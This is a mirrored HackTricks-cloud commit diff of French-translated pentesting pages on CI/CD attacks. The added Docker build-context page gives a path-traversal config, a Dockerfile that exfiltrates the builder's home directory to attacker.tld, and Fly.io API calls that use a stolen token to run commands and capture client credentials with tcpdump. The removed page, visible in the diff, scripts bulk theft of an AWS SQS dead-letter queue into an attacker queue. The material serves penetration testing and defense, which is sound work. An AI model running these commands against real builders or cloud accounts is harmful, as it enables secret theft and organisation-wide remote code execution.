gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-30 16:54:20 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', 'src

Browse Source
This commit is contained in:
Translator
2025-10-25 16:01:38 +00:00
parent a5cfbda7db
commit 69becb79cc
3 changed files with 151 additions and 197 deletions
Download Patch File Download Diff File Expand all files Collapse all files

101
src/pentesting-ci-cd/docker-build-context-abuse.md Normal file
View File

@@ -0,0 +1,101 @@
# Abuser le Docker Build Context dans des hosted builders (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
## TL;DR
Si une plateforme CI/CD ou un hosted builder permet aux contributeurs de spécifier le chemin du Docker build context et le chemin du Dockerfile, vous pouvez souvent définir le contexte sur un répertoire parent (par ex., "..") et inclure des fichiers de l'hôte dans le build context. Ensuite, un Dockerfile contrôlé par l'attaquant peut COPY et exfiltrate des secrets trouvés dans le répertoire home de l'utilisateur du builder (par exemple, ~/.docker/config.json). Des registry tokens volés peuvent aussi fonctionner contre les control-plane APIs du provider, permettant un RCE à l'échelle de l'organisation.
## Surface d'attaque
Beaucoup de services hosted builder/registry font à peu près ceci lors de la construction d'images soumises par des utilisateurs :
- Lire une config au niveau du repo qui inclut :
- build context path (envoyé au Docker daemon)
- Dockerfile path relative à ce contexte
- Copier le répertoire du build context indiqué et le Dockerfile vers le Docker daemon
- Builder l'image et l'exécuter comme service hébergé
Si la plateforme ne canonicalise pas et ne restreint pas le build context, un utilisateur peut le définir vers un emplacement en dehors du repository (path traversal), ce qui fait que des fichiers arbitraires de l'hôte lisibles par l'utilisateur de build deviennent partie du build context et sont disponibles pour COPY dans le Dockerfile.
Contraintes pratiques couramment observées :
- Le Dockerfile doit se trouver à l'intérieur du chemin de contexte choisi et son chemin doit être connu à l'avance.
- L'utilisateur de build doit avoir un accès en lecture aux fichiers inclus dans le contexte ; des fichiers de périphérique spéciaux peuvent casser la copie.
## PoC: Path traversal via Docker build context
Exemple de config serveur malveillante déclarant un Dockerfile à l'intérieur du contexte du répertoire parent :
```yaml
runtime: "container"
build:
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
```
Remarques :
- L'utilisation de ".." résout souvent vers le répertoire home de l'utilisateur builder (e.g., /home/builder), qui contient typiquement des fichiers sensibles.
- Placez votre Dockerfile sous le nom du répertoire du repo (e.g., repo "test" → test/Dockerfile) afin qu'il reste dans le contexte parent étendu.
## PoC : Dockerfile pour ingérer et exfiltrer le contexte de l'hôte
```dockerfile
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
Cibles couramment récupérées depuis $HOME :
- ~/.docker/config.json (registry auths/tokens)
- Autres caches et configs cloud/CLI (par ex., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Astuce : Même avec un .dockerignore dans le dépôt, la sélection du contexte côté plateforme vulnérable détermine toujours ce qui est envoyé au daemon. Si la plateforme copie le chemin choisi vers le daemon avant d'évaluer le .dockerignore de votre repo, des fichiers hôtes peuvent quand même être exposés.
## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
Certaines plateformes émettent un seul bearer token utilisable à la fois pour le container registry et l'control-plane API. Si vous exfiltrez un registry token, essayez-le contre l'API du provider.
Exemples d'appels API contre Fly.io Machines API en utilisant le token volé depuis ~/.docker/config.json :
Énumérer les apps dans une org :
```bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
```
Exécuter une commande en tant que root à l'intérieur de n'importe quelle machine d'une application :
```bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
Résultat : remote code execution à l'échelle de l'organisation sur toutes les apps hébergées lorsque le token dispose de privilèges suffisants.
## Vol de secrets depuis des services hébergés compromis
Avec exec/RCE sur les serveurs hébergés, vous pouvez harvest client-supplied secrets (API keys, tokens) ou lancer des prompt-injection attacks. Exemple : installez tcpdump et capturez le trafic HTTP sur le port 8080 pour extraire les inbound credentials.
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
Les requêtes capturées contiennent souvent des client credentials dans les headers, bodies, ou query params.
## References
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
{{#include ../banners/hacktricks-training.md}}

93
src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
View File

@@ -1,4 +1,4 @@
# Pentesting CI/CD Méthodologie
# Méthodologie Pentesting CI/CD
{{#include ../banners/hacktricks-training.md}}
@@ -6,98 +6,105 @@
## VCS
VCS signifie **Version Control System**, ce système permet aux développeurs de **gérer leur source code**. Le plus courant est **git** et vous trouverez généralement des entreprises l'utilisant sur l'une des **platforms** suivantes :
VCS signifie **système de contrôle de version**, ce système permet aux développeurs de **gérer leur code source**. Le plus courant est **git** et vous trouverez généralement des entreprises qui l'utilisent sur l'une des **plateformes** suivantes :
- Github
- Gitlab
- Bitbucket
- Gitea
- Gitblit
- Cloud providers (they offer their own VCS platforms)
- Fournisseurs Cloud (ils offrent leurs propres plateformes VCS)
## CI/CD Pipelines
Les CI/CD pipelines permettent aux développeurs d'**automatiser l'exécution du code** pour diverses finalités : build, tests et déploiement d'applications. Ces workflows automatisés sont **déclenchés par des actions spécifiques**, comme des pushes, pull requests ou tâches planifiées. Ils servent à rationaliser le processus du développement vers la production.
Les pipelines CI/CD permettent aux développeurs d'**automatiser l'exécution du code** pour divers objectifs, notamment la compilation, les tests et le déploiement des applications. Ces workflows automatisés sont **déclenchés par des actions spécifiques**, telles que des push de code, des pull requests ou des tâches planifiées. Ils servent à rationaliser le processus du développement à la production.
Cependant, ces systèmes doivent être **exécutés quelque part** et le plus souvent avec des **privileged credentials pour déployer du code ou accéder à des informations sensibles**.
Cependant, ces systèmes doivent être **exécutés quelque part** et généralement avec des **identifiants privilégiés pour déployer du code ou accéder à des informations sensibles**.
## VCS Pentesting Methodology
> [!NOTE]
> Même si certaines VCS platforms permettent de créer des pipelines, pour cette section nous allons analyser uniquement les attaques potentielles visant le contrôle du source code.
> Même si certaines plateformes VCS permettent de créer des pipelines pour cette section, nous allons analyser uniquement les attaques potentielles visant le contrôle du code source.
Les platforms qui contiennent le source code de votre projet renferment des informations sensibles ; il faut donc être très vigilant sur les permissions accordées au sein de cette platform. Voici quelques problèmes communs sur les VCS que les attaquants peuvent exploiter :
Les plateformes qui contiennent le code source de votre projet renferment des informations sensibles et il faut être très vigilant avec les permissions accordées au sein de ces plateformes. Voici quelques problèmes courants sur les plateformes VCS que des attaquants pourraient exploiter :
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
- **Access**: Si un attaquant peut **accéder à un compte dans la VCS platform** il peut obtenir **plus de visibilité et de permissions**.
- **Register**: Certaines platforms permettent simplement à des utilisateurs externes de créer un compte.
- **SSO**: Certaines platforms n'autorisent pas l'inscription, mais permettent l'accès via un SSO valide (un attaquant pourrait par exemple utiliser son compte github).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... il existe plusieurs types de tokens qu'un utilisateur peut voler pour accéder d'une manière ou d'une autre à un repo.
- **Webhooks**: Les VCS platforms permettent de générer des webhooks. S'ils ne sont **pas protégés** par des secrets non visibles, un **attaquant peut les abuser**.
- If no secret is in place, the attacker could abuse the webhook of the third party platform
- If the secret is in the URL, the same happens and the attacker also have the secret
- **Code compromise:** Si un acteur malveillant dispose d'un **accès en write** sur les repos, il peut tenter d'**injecter du code malveillant**. Pour réussir, il devra parfois **bypass branch protections**. Ces actions peuvent viser différents objectifs :
- **Leaks** : Si votre code contient des leaks dans les commits et que l'attaquant peut accéder au repo (parce qu'il est public ou parce qu'il a un accès), il pourrait découvrir les leaks.
- **Accès** : Si un attaquant peut **accéder à un compte au sein de la plateforme VCS**, il pourrait obtenir **plus de visibilité et de permissions**.
- **Enregistrement** : Certaines plateformes permettent simplement aux utilisateurs externes de créer un compte.
- **SSO** : Certaines plateformes n'autorisent pas l'enregistrement, mais permettent à quiconque de se connecter avec un SSO valide (donc un attaquant pourrait utiliser son compte github pour entrer, par exemple).
- **Credentials** : Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... il existe plusieurs types de tokens qu'un utilisateur pourrait voler pour accéder d'une manière ou d'une autre à un repo.
- **Webhooks** : Les plateformes VCS permettent de générer des webhooks. S'ils ne sont **pas protégés** par des secrets non visibles, un **attaquant pourrait en abuser**.
- Si aucun secret n'est en place, l'attaquant pourrait abuser du webhook de la plateforme tierce.
- Si le secret est dans l'URL, la même chose se produit et l'attaquant possède aussi le secret.
- **Compromission du code :** Si un acteur malveillant a un certain type d'**accès en écriture** sur les repos, il pourrait tenter d'**injecter du code malveillant**. Pour réussir, il pourrait devoir **contourner les protections de branche**. Ces actions peuvent être réalisées avec différents objectifs :
- Compromettre la branche principale pour **compromettre la production**.
- Compromettre la branche principale (ou d'autres branches) pour **compromettre les machines des développeurs** (car ils exécutent souvent des tests, terraform ou d'autres choses depuis le repo sur leurs machines).
- Compromettre la branche principale (ou d'autres branches) pour **compromettre les machines des développeurs** (car ils exécutent généralement des tests, terraform ou d'autres choses depuis le repo sur leurs machines).
- **Compromettre le pipeline** (voir section suivante)
## Pipelines Pentesting Methodology
La manière la plus courante de définir un pipeline est d'utiliser un **CI configuration file hébergé dans le repository** que le pipeline build. Ce fichier décrit l'ordre des jobs exécutés, les conditions qui affectent le flux et les settings de l'environnement de build.\
Ces fichiers ont typiquement un nom et un format cohérents, par exemple — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), et les fichiers YAML GitHub Actions situés sous .github/workflows. Lorsqu'il est déclenché, le job du pipeline **pulls the code** depuis la source sélectionnée (ex. commit / branch), et **exécute les commandes spécifiées dans le CI configuration file** contre ce code.
La façon la plus courante de définir un pipeline est d'utiliser un **fichier de configuration CI hébergé dans le repository** que le pipeline construit. Ce fichier décrit l'ordre des jobs exécutés, les conditions qui affectent le flux et les paramètres de l'environnement de build.\
Ces fichiers ont typiquement un nom et un format cohérents, par exemple — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), et les fichiers YAML GitHub Actions situés sous .github/workflows. Lorsqu'il est déclenché, le job du pipeline **récupère le code** depuis la source sélectionnée (par ex. commit / branch), et **exécute les commandes spécifiées dans le fichier de configuration CI** sur ce code.
L'objectif ultime de l'attaquant est donc de **compromettre ces fichiers de configuration** ou les **commandes qu'ils exécutent**.
Par conséquent, l'objectif ultime de l'attaquant est d'une manière ou d'une autre de **compromettre ces fichiers de configuration** ou les **commandes qu'ils exécutent**.
> [!TIP]
> Certains builders hébergés laissent les contributeurs choisir le Docker build context et le chemin du Dockerfile. Si le context est contrôlé par l'attaquant, vous pouvez le définir en dehors du repo (p.ex., "..") pour ingérer des fichiers hôtes pendant le build et exfiltrer des secrets. Voir :
>
>{{#ref}}
>docker-build-context-abuse.md
>{{#endref}}
### PPE - Poisoned Pipeline Execution
Le chemin Poisoned Pipeline Execution (PPE) exploite des permissions dans un SCM repository pour manipuler un CI pipeline et exécuter des commandes malveillantes. Des utilisateurs disposant des permissions nécessaires peuvent modifier les CI configuration files ou d'autres fichiers utilisés par le job du pipeline pour y inclure des commandes malveillantes. Cela "empoisonne" le CI pipeline, provoquant l'exécution de ces commandes.
Le chemin Poisoned Pipeline Execution (PPE) exploite des permissions dans un repository SCM pour manipuler un pipeline CI et exécuter des commandes nuisibles. Les utilisateurs disposant des permissions nécessaires peuvent modifier les fichiers de configuration CI ou d'autres fichiers utilisés par le job du pipeline pour y inclure des commandes malveillantes. Cela "empoisonne" le pipeline CI, conduisant à l'exécution de ces commandes malveillantes.
Pour qu'un acteur malveillant réussisse une attaque PPE, il doit être capable de :
Pour qu'un acteur malveillant réussisse une attaque PPE, il doit :
- Avoir **write access to the VCS platform**, car les pipelines sont généralement déclenchés lors d'un push ou d'un pull request. (Voir la VCS pentesting methodology pour un résumé des moyens d'obtenir cet accès).
- Notez que parfois une **external PR compte comme "write access"**.
- Même avec des permissions de write, il doit s'assurer de pouvoir **modifier le CI config file ou d'autres fichiers sur lesquels le config s'appuie**.
- Pour cela, il peut être nécessaire de **bypass branch protections**.
- Avoir **un accès en écriture à la plateforme VCS**, car en général les pipelines sont déclenchés lorsqu'un push ou une pull request est effectué. (Consultez la méthodologie VCS pour un résumé des moyens d'obtenir un accès).
- Notez que parfois une **PR externe compte comme un "write access"**.
- Même s'il a des permissions d'écriture, il doit s'assurer qu'il peut **modifier le fichier de config CI ou d'autres fichiers dont la config dépend**.
- Pour cela, il pourrait devoir être capable de **contourner les protections de branche**.
Il existe 3 variantes de PPE :
- **D-PPE**: Une attaque **Direct PPE** se produit lorsque l'acteur **modifie le CI config** file qui va être exécuté.
- **I-DDE**: Une attaque **Indirect PPE** se produit lorsque l'acteur **modifie** un **file** sur lequel le CI config file qui va être exécuté **se repose** (par exemple un make file ou un terraform config).
- **Public PPE or 3PE**: Dans certains cas, les pipelines peuvent être **déclenchés par des users qui n'ont pas de write access in the repo** (et qui peuvent ne même pas faire partie de l'org) parce qu'ils peuvent envoyer un PR.
- **3PE Command Injection**: Habituellement, les pipelines CI/CD vont **set des environment variables** avec **des informations sur le PR**. Si cette valeur peut être contrôlée par un attaquant (comme le title du PR) et est **utilisée** dans un **endroit dangereux** (par ex. l'exécution de **sh commands**), un attaquant peut **injecter des commandes**.
- **D-PPE** : Une attaque **Direct PPE** se produit lorsque l'acteur **modifie le fichier de config CI** qui sera exécuté.
- **I-DDE** : Une attaque **Indirect PPE** se produit lorsque l'acteur **modifie** un **fichier** sur lequel le fichier de config CI s'appuie (comme un makefile ou une config terraform).
- **Public PPE ou 3PE** : Dans certains cas, les pipelines peuvent être **déclenchés par des utilisateurs qui n'ont pas d'accès en écriture au repo** (et qui ne font peut‑être même pas partie de l'org) parce qu'ils peuvent envoyer une PR.
- **3PE Command Injection** : Habituellement, les pipelines CI/CD vont **définir des variables d'environnement** avec **des informations sur la PR**. Si cette valeur peut être contrôlée par un attaquant (comme le titre de la PR) et qu'elle est **utilisée** dans un **endroit dangereux** (comme l'exécution de commandes sh), un attaquant pourrait **y injecter des commandes**.
### Exploitation Benefits
En connaissant les 3 variantes pour empoisonner un pipeline, voyons ce qu'un attaquant peut obtenir après une exploitation réussie :
Connaissant les 3 variantes pour empoisonner un pipeline, voyons ce qu'un attaquant pourrait obtenir après une exploitation réussie :
- **Secrets**: Comme mentionné précédemment, les pipelines requièrent des **privileges** pour leurs jobs (récupérer le code, le builder, le déployer...) et ces privileges sont généralement **stockés dans des secrets**. Ces secrets sont souvent accessibles via des **env variables ou des files** sur le système. Un attaquant cherchera donc à exfiltrer un maximum de secrets.
- Selon la plateforme de pipeline, l'attaquant **pourrait avoir besoin de spécifier les secrets dans le config**. Cela signifie que si l'attaquant ne peut pas modifier la configuration CI pipeline (**I-PPE** par exemple), il pourrait **seulement exfiltrer les secrets que le pipeline possède**.
- **Computation**: Le code est exécuté quelque part ; selon l'endroit d'exécution, un attaquant peut être en mesure de pivot further.
- **On-Premises**: Si les pipelines s'exécutent on premises, un attaquant peut se retrouver sur un **réseau interne avec accès à plus de ressources**.
- **Cloud**: L'attaquant pourrait accéder **à d'autres machines dans le cloud** mais aussi **exfiltrer** des IAM roles/service accounts **tokens** afin d'obtenir un accès plus large dans le cloud.
- **Platforms machine**: Parfois les jobs s'exécutent dans les **machines de la plateforme pipelines**, qui sont généralement dans un cloud et sans accès additionnel.
- **Select it:** Parfois la **pipelines platform aura configuré plusieurs machines** et si vous pouvez **modifier le CI configuration file** vous pouvez **indiquer où vous voulez exécuter le code malveillant**. Dans ce cas, un attaquant lancera probablement un reverse shell sur chaque machine possible pour tenter d'exploiter davantage.
- **Compromise production**: Si vous êtes dans le pipeline et que la version finale est buildée et déployée depuis celui-ci, vous pouvez **compromettre le code qui finira en production**.
- **Secrets** : Comme mentionné précédemment, les pipelines requièrent des **privilèges** pour leurs jobs (récupérer le code, le builder, le déployer...) et ces privilèges sont généralement stockés en **secrets**. Ces secrets sont souvent accessibles via des **variables d'environnement ou des fichiers dans le système**. Par conséquent, un attaquant cherchera toujours à exfiltrer un maximum de secrets.
- Selon la plateforme de pipeline, l'attaquant **pourrait devoir spécifier les secrets dans la config**. Cela signifie que si l'attaquant ne peut pas modifier la configuration CI (**I-PPE** par exemple), il pourrait **seulement exfiltrer les secrets que le pipeline possède**.
- **Computation** : Le code s'exécute quelque part ; selon l'endroit d'exécution, un attaquant pourrait être en mesure de pivoter plus loin.
- **On-Premises** : Si les pipelines sont exécutés on-premises, un attaquant pourrait se retrouver dans un **réseau interne avec accès à davantage de ressources**.
- **Cloud** : L'attaquant pourrait accéder **à d'autres machines dans le cloud** mais aussi pourrait **exfiltrer** des tokens de rôles IAM / service accounts **pour obtenir davantage d'accès dans le cloud**.
- **Machines de la plateforme** : Parfois les jobs seront exécutés dans les **machines de la plateforme de pipelines**, qui sont généralement dans un cloud avec **aucun accès supplémentaire**.
- **Choisir la cible :** Parfois la **plateforme de pipelines aura configuré plusieurs machines** et si vous pouvez **modifier le fichier de configuration CI** vous pouvez **indiquer où vous voulez exécuter le code malveillant**. Dans ce cas, un attaquant lancera probablement une reverse shell sur chaque machine possible pour tenter de l'exploiter davantage.
- **Compromettre la production** : Si vous êtes à l'intérieur du pipeline et que la version finale est construite et déployée depuis celui-ci, vous pourriez **compromettre le code qui sera exécuté en production**.
## More relevant info
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) est un outil open-source pour auditer votre software supply chain stack pour la conformité sécurité, basé sur un nouveau [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit se concentre sur l'ensemble du SDLC, et peut révéler des risques depuis le code jusqu'au deploy.
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) est un outil open-source pour auditer votre stack de supply chain logicielle pour la conformité de sécurité basé sur un nouveau [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit se concentre sur l'ensemble du processus SDLC, où il peut révéler des risques depuis le temps du code jusqu'au temps de déploiement.
### Top 10 CI/CD Security Risk
Consultez cet article intéressant sur les top 10 CI/CD risks selon Cider : [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
Consultez cet article intéressant sur les top 10 risques CI/CD selon Cider : [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
- Sur chaque platform que vous pouvez lancer localement vous trouverez comment la démarrer localement pour la configurer comme vous le souhaitez afin de la tester
- Sur chaque plateforme que vous pouvez exécuter localement, vous trouverez comment la lancer localement afin de la configurer comme vous le souhaitez pour la tester
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** est un outil d'analyse statique pour infrastructure-as-code.
- [**Checkov**](https://github.com/bridgecrewio/checkov) : **Checkov** est un outil d'analyse statique pour l'infrastructure-as-code.
## References

154
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
View File

@@ -1,154 +0,0 @@
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
{{#include ../../../banners/hacktricks-training.md}}
## Description
Abuser des tâches de déplacement de messages SQS pour voler tous les messages accumulés dans la Dead-Letter Queue (DLQ) d'une victime en les redirigeant vers une queue contrôlée par l'attaquant en utilisant `sqs:StartMessageMoveTask`. Cette technique exploite la fonctionnalité légitime de récupération de messages d'AWS pour exfiltrate des données sensibles qui se sont accumulées dans les DLQs au fil du temps.
## What is a Dead-Letter Queue (DLQ)?
Une Dead-Letter Queue est une queue SQS spéciale où les messages sont automatiquement envoyés lorsqu'ils n'ont pas pu être traités correctement par l'application principale. Ces messages échoués contiennent souvent :
- Des données sensibles d'application qui n'ont pas pu être traitées
- Des détails d'erreur et des informations de débogage
- Des informations personnelles identifiables (PII)
- Des API tokens, identifiants, ou d'autres secrets
- Des données de transactions critiques pour le business
Les DLQs jouent le rôle de "cimetière" pour les messages échoués, ce qui en fait des cibles de valeur puisqu'elles accumulent des données sensibles au fil du temps que les applications n'ont pas su traiter correctement.
## Attack Scenario
**Real-world example :**
1. **E-commerce application** traite les commandes client via SQS
2. **Certaines commandes échouent** (problèmes de paiement, inventaire, etc.) et sont déplacées vers un DLQ
3. **Le DLQ s'accumule** pendant des semaines/mois de commandes échouées contenant des données clients : {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
4. **L'attaquant obtient l'accès** aux identifiants AWS avec des permissions SQS
5. **L'attaquant découvre** que le DLQ contient des milliers de commandes échouées avec des données sensibles
6. **Au lieu d'essayer d'accéder aux messages individuellement** (lent et évident), l'attaquant utilise `StartMessageMoveTask` pour transférer en masse TOUS les messages vers sa propre queue
7. **L'attaquant extrait** toutes les données sensibles historiques en une seule opération
## Requirements
- La queue source doit être configurée comme DLQ (référencée par au moins une RedrivePolicy d'une queue).
- Permissions IAM (exécutées en tant que le principal victime) :
- Sur la DLQ (source) : `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Sur la queue de destination : permission pour livrer des messages (par ex., policy de queue autorisant `sqs:SendMessage` depuis le principal victime). Pour des destinations dans le même compte, cela est typiquement autorisé par défaut.
- Si SSE-KMS est activé : sur la CMK source `kms:Decrypt`, et sur la CMK de destination `kms:GenerateDataKey`, `kms:Encrypt`.
## Impact
Exfiltrate des payloads sensibles accumulés dans les DLQs (événements échoués, PII, tokens, payloads applicatifs) à grande vitesse en utilisant les APIs natives SQS. Fonctionne cross-account si la policy de la queue de destination permet `SendMessage` depuis le principal victime.
## How to Abuse
- Identifier l'ARN du DLQ victime et s'assurer qu'il est réellement référencé comme DLQ par une queue (n'importe quelle queue).
- Créer ou choisir une queue de destination contrôlée par l'attaquant et obtenir son ARN.
- Démarrer une message move task depuis le DLQ victime vers votre queue de destination.
- Surveiller la progression ou annuler si nécessaire.
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
**Scenario**: Un attaquant a compromis des identifiants AWS et a découvert qu'une application e-commerce utilise SQS avec un DLQ contenant des tentatives de traitement de commandes clients échouées.
1) **Discover and examine the victim DLQ**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **Créer une file de destination contrôlée par l'attaquant**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **Exécuter le vol massif de messages**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)
echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **Collecter les données sensibles volées**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5
# Example of what an attacker might see:
# {
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
# "MessageId": "12345-abcd-6789-efgh"
# }
# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi
echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Remarques inter-comptes
- La file de destination doit avoir une resource policy autorisant le principal victime à `sqs:SendMessage` (et, si utilisé, KMS grants/permissions).
## Pourquoi cette attaque est efficace
1. **Fonctionnalité AWS légitime** : Utilise des fonctionnalités AWS natives, ce qui la rend difficile à détecter comme malveillante
2. **Opération en masse** : Transfère des milliers de messages rapidement au lieu d'un accès individuel lent
3. **Données historiques** : Les DLQs accumulent des données sensibles sur des semaines/mois
4. **Sous le radar** : De nombreuses organisations ne surveillent pas étroitement l'accès aux DLQ
5. **Capable inter-comptes** : Peut exfiltrer vers le compte AWS de l'attaquant si les permissions le permettent
## Détection et Prévention
### Détection
Surveillez CloudTrail pour les appels API `StartMessageMoveTask` suspects :
```json
{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}
```
### Prévention
1. **Least Privilege**: Restreindre les permissions `sqs:StartMessageMoveTask` aux seuls rôles nécessaires
2. **Surveiller les DLQs**: Configurer des alarmes CloudWatch pour détecter une activité inhabituelle des DLQs
3. **Politiques inter-comptes**: Examiner attentivement les politiques de file SQS autorisant l'accès inter-comptes
4. **Chiffrer les DLQs**: Utiliser SSE-KMS avec des politiques de clés restreintes
5. **Nettoyage régulier**: Ne laissez pas de données sensibles s'accumuler indéfiniment dans les DLQs
{{#include ../../../banners/hacktricks-training.md}}